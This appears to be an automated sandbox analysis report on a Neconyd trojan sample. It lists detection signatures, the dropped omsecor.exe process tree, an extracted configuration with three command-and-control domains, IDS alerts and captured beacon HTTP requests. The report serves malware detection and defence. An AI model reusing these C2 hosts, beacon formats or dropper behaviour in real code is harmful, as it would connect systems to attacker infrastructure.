Edit tour

Windows Analysis Report
cnzWgjUhS2.exe

Overview

General Information

Sample name:	cnzWgjUhS2.exe renamed because original name is a hash value
Original sample name:	Trojan.Danger.ATA_virussign.com_10b089f41384787f77a9de73a9c55e4b.exe
Analysis ID:	1506967
MD5:	10b089f41384787f77a9de73a9c55e4b
SHA1:	b5cd02bedf0c963c95b17937f334b4eb950a22ed
SHA256:	ce28f0ea14877935233268bb240e0aa2013eb133a179fee671144939539fdc7a
Infos:

Detection

Neconyd

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Neconyd

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cnzWgjUhS2.exe (PID: 6600 cmdline: "C:\Users\user\Desktop\cnzWgjUhS2.exe" MD5: 10B089F41384787F77A9DE73A9C55E4B)

omsecor.exe (PID: 6644 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: BA4DF80E161C9C58860725AAC02D99E4)

omsecor.exe (PID: 3868 cmdline: C:\Windows\System32\omsecor.exe MD5: 9AF480E9873460DD811C495A948A78AE)

omsecor.exe (PID: 564 cmdline: C:\Windows\SysWOW64\omsecor.exe /nomove MD5: 9AF480E9873460DD811C495A948A78AE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Neconyd		No Attribution	https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Neconyd.A	https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd

Malware Configuration

Threatname: Neconyd

{"C2 url": ["http://ow5dirasuek.com/", "http://lousta.net/", "http://mkkuei4kdsz.com/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: cnzWgjUhS2.exe PID: 6600	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 6644	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 3868	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 564	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security

Suricata Signatures

ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-08T06:09:37.868813+0200	2016998	1	A Network Trojan was detected	192.168.2.4	49730	193.166.255.171	80	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-08T06:10:01.919142+0200	2018141	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.4	49739	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-08T06:10:01.919142+0200	2037771	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.4	49739	TCP

ET MALWARE Ransom.Win32.Birele.gsg Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-08T06:09:37.850228+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49749	193.166.255.171	80	TCP
2024-09-08T06:09:38.569119+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.166.255.171	80	TCP
2024-09-08T06:10:00.064197+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49731	193.166.255.171	80	TCP
2024-09-08T06:10:00.848191+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49738	64.225.91.73	80	TCP
2024-09-08T06:10:01.919056+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49739	52.34.198.229	80	TCP
2024-09-08T06:10:23.623919+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49740	193.166.255.171	80	TCP
2024-09-08T06:10:45.111484+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49741	193.166.255.171	80	TCP
2024-09-08T06:10:45.834962+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49743	64.225.91.73	80	TCP
2024-09-08T06:10:46.699343+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49744	52.34.198.229	80	TCP
2024-09-08T06:11:08.188034+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49745	193.166.255.171	80	TCP
2024-09-08T06:11:29.708209+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49746	193.166.255.171	80	TCP
2024-09-08T06:11:30.431154+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49747	64.225.91.73	80	TCP
2024-09-08T06:11:31.264187+0200	2015786	1	Malware Command and Control Activity Detected	192.168.2.4	49748	52.34.198.229	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: cnzWgjUhS2.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://lousta.net/161/343.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/100/325.html)L	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.html;	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/100/325.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/161/343.htmll	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/130/71.htmlcrosoft	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.htmlQZ	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.html3	Avira URL Cloud: Label: phishing
Source: http://lousta.net/895/196.html#	Avira URL Cloud: Label: phishing
Source: http://lousta.net/601/938.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/347/423.htmlt?E&	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/y	Avira URL Cloud: Label: phishing
Source: http://lousta.net/895/196.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.htmlz	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.htmlp	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/130/71.htmlr&&	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.htmliZ#	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.htmleZ	Avira URL Cloud: Label: phishing
Source: http://lousta.net/303/619.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/976/76.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.html(	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.html$	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.htmlP&	Avira URL Cloud: Label: phishing
Source: http://lousta.net/303/619.html=	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.html&	Avira URL Cloud: Label: phishing
Source: http://lousta.net/467/386.htmlQ=	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/59/409.htmlk7	Avira URL Cloud: Label: phishing
Source: http://lousta.net/161/343.html=	Avira URL Cloud: Label: phishing
Source: http://lousta.net/976/76.htmlmswsock.dll.mui	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.htmli	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/130/71.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/347/423.html(	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/59/409.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/88/221.htmlV	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.htmlGU	Avira URL Cloud: Label: phishing
Source: http://lousta.net/	Avira URL Cloud: Label: phishing
Source: http://lousta.net/&X	Avira URL Cloud: Label: phishing
Source: http://lousta.net/347/423.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/895/196.html_	Avira URL Cloud: Label: phishing
Source: http://lousta.net/303/619.htmlEc	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/467/386.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/161/343.htmle	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/100/325.html7	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.html;	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/179/569.htmloZ	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/59/409.html(&Z&	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.htmlasuek.com5	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/en-GB	Avira URL Cloud: Label: phishing
Source: http://lousta.net/161/343.htmlT	Avira URL Cloud: Label: phishing
Source: http://lousta.net/601/938.htmlshqos.dll.mui	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/88/221.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/968/405.htmlN	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\omsecor.exe	Avira: detection malicious, Label: TR/Downloader.Gen
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Avira: detection malicious, Label: TR/Downloader.Gen

Found malware configuration

Source: 5.2.omsecor.exe.400000.0.unpack

Malware Configuration Extractor: Neconyd {"C2 url": ["http://ow5dirasuek.com/", "http://lousta.net/", "http://mkkuei4kdsz.com/"]}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\omsecor.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: cnzWgjUhS2.exe

Joe Sandbox ML: detected

Source: cnzWgjUhS2.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040ABD9 FindFirstFileW,FindClose,	0_2_0040ABD9
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	0_2_00408248
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040ABD9 FindFirstFileW,FindClose,	5_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	5_2_00408248

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.4:49730 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49731 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49739 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49738 -> 64.225.91.73:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49730 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.4:49739
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49747 -> 64.225.91.73:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49744 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.4:49739
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49743 -> 64.225.91.73:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49748 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49741 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49745 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49740 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49746 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.4:49749 -> 193.166.255.171:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://ow5dirasuek.com/
Source: Malware configuration extractor	URLs: http://lousta.net/
Source: Malware configuration extractor	URLs: http://mkkuei4kdsz.com/

Source: global traffic	HTTP traffic detected: GET /303/619.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /895/196.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /100/325.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /179/569.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: ow5dirasuek.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /467/386.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /976/76.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /130/71.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /59/409.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.33; btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768601\|1725768601\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /347/423.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /601/938.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /88/221.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /968/405.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.33; btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768646\|1725768601\|22\|2\|0
Source: global traffic	HTTP traffic detected: GET /161/343.html HTTP/1.1From: 133702422009751771Via: opfcsi{>;56bttA;346_ojzA97f89j88f55=96ghd9h:;;g:71863i63Host: lousta.netConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 64.225.91.73 64.225.91.73
Source: Joe Sandbox View	IP Address: 193.166.255.171 193.166.255.171
Source: Joe Sandbox View	IP Address: 52.34.198.229 52.34.198.229

Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
Source: Joe Sandbox View	ASN Name: FUNETASFI FUNETASFI
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_00407036 Sleep,DeleteFileW,CreateFileW,GetLastError,SetEndOfFile,InternetOpenUrlW,CloseHandle,InternetQueryDataAvailable,InternetReadFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,

0_2_00407036

Source: global traffic	HTTP traffic detected: GET /303/619.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /895/196.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /100/325.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /179/569.html HTTP/1.1From: 133702421766157995Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0Host: ow5dirasuek.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /467/386.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /976/76.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /130/71.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /59/409.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.33; btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768601\|1725768601\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /347/423.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /601/938.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /88/221.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /968/405.html HTTP/1.1From: 133702422009751771Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.33; btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768646\|1725768601\|22\|2\|0
Source: global traffic	HTTP traffic detected: GET /161/343.html HTTP/1.1From: 133702422009751771Via: opfcsi{>;56bttA;346_ojzA97f89j88f55=96ghd9h:;;g:71863i63Host: lousta.netConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: lousta.net
Source: global traffic	DNS traffic detected: DNS query: mkkuei4kdsz.com
Source: global traffic	DNS traffic detected: DNS query: ow5dirasuek.com

Source: cnzWgjUhS2.exe, omsecor.exe, omsecor.exe, 00000008.00000002.2986204609.0000000000195000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/
Source: omsecor.exe, 00000008.00000002.2986475132.000000000059E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/&X
Source: omsecor.exe, 00000008.00000002.2986475132.000000000059E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000008.00000002.2986204609.0000000000195000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000008.00000002.2986475132.000000000059A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/161/343.html
Source: omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/161/343.html=
Source: omsecor.exe, 00000008.00000002.2986475132.000000000059A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/161/343.htmlT
Source: omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/161/343.htmle
Source: omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/161/343.htmll
Source: omsecor.exe, 00000001.00000002.1987110192.000000000060E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/303/619.html
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/303/619.html=
Source: omsecor.exe, 00000001.00000002.1987110192.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/303/619.htmlEc
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/347/423.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/347/423.html(
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/347/423.htmlt?E&
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/467/386.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/467/386.htmlQ=
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/601/938.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/601/938.htmlshqos.dll.mui
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/895/196.html#
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/895/196.html_
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/976/76.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/976/76.htmlmswsock.dll.mui
Source: omsecor.exe, omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/100/325.html
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/100/325.html)L
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/100/325.html7
Source: omsecor.exe, 00000005.00000002.2879968541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/130/71.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/130/71.htmlcrosoft
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/130/71.htmlr&&
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/88/221.html
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/88/221.htmlV
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/en-GB
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/y
Source: omsecor.exe, omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/
